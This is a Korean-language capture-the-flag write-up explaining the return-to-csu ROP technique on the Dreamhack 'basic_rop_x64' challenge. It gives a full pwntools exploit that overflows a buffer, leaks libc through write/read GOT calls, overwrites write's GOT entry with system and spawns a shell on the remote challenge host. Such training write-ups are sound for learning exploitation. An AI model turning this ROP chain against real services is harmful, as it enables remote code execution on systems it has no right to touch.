RTC
가젯이 있는 경우에는 validator와 비슷하게 풀 수 있지만 이 경우에는 가젯이 없습니다.

인자가 하나뿐인 puts를 사용해도 되지만, 이번에는 가젯을 찾을 필요 없이 __libc_csu_init( )라는 main의 실행에 필요한 함수의 일부분을 가젯 처럼 쓰는 RTC를 사용해 봅시다.


RTC 기법은 __libc_csu_init( ) 내부의 0x40087a와 0x400876부분을 사용합니다. 첫번째 부분에서 시작하고 두번째 부분을 계속 반복하면서 원하는 함수들을 실행시키는 원리입니다.
두번째 부분에서 dx, si,di 레지스터에 차례로 r13, r14, r15가 들어가고 r12레지스터에 저장된 주소의 값으로 점프하는 것을 알 수 있습니다.(rbx == 0일 경우) 두번째 부분을 계속 반복하려면 rbx, rbp가 cmp시에 같아야 하므로 rbp는 1이 되어야 합니다. 또한 계속 두번째 부분을 반복하기 위해서는 add rsp 8부분을 처리하기 위해 한 함수에 대한 페이로드를 짠 후 8바이트의 더미를 넣어주어야 합니다.
이를 바탕으로 RTC체인을 위한 페이로드를 짜면 아래와 같습니다.
def RTChain(func_got, arg1, arg2, arg3):
ret = p64(0) //rbx
ret += p64(1) //rbp for consecutive execution
ret += p64(func_got)
ret += p64(arg3)
ret += p64(arg2)
ret += p64(arg1)
ret += p64(second_chain) //첫번째 부분을 끝낸 후 두번째 부분의 주소를 씁니다.
return ret
from pwn import *
buf_ret_offset = 0x48
//rdi_pop = 0x400883
//rsi_r15_pop = 0x400881
first_chain = 0x40087A
second_chain = 0x400860
context.log_level = 'debug'
p = remote("host1.dreamhack.games", 11110)
libc = ELF("./libc.so.6")
e = ELF("./basic_rop_x64")
def RTChain(func_got, arg1, arg2, arg3):
ret = p64(0) //rbx
ret += p64(1) //rbp //for consecutive execution
ret += p64(func_got)
ret += p64(arg3)
ret += p64(arg2)
ret += p64(arg1)
ret += p64(second_chain)
return ret
read_got = e.got['read']
write_got = e.got['write']
read_offset = libc.symbols['read']
bss = e.bss()
system_offset = libc.symbols['system']
payload = 'a'*buf_ret_offset
payload += p64(first_chain)
payload += RTChain(write_got, 1, read_got, 8)
payload += 'a'* 8 // add rsp, 8
payload += RTChain(read_got, 0, bss, 8)
payload += 'a' * 8
payload += RTChain(read_got, 0, write_got, 8)
payload += 'a' * 8
payload += RTChain(write_got, bss, 0, 0)
p.send(payload)
dummy = p.recv(0x40)
read_addr = u64(p.recv(8))
libc_base = read_addr - read_offset
system = libc_base + system_offset
p.send('/bin/sh')
p.send(p64(system))
p.interactive()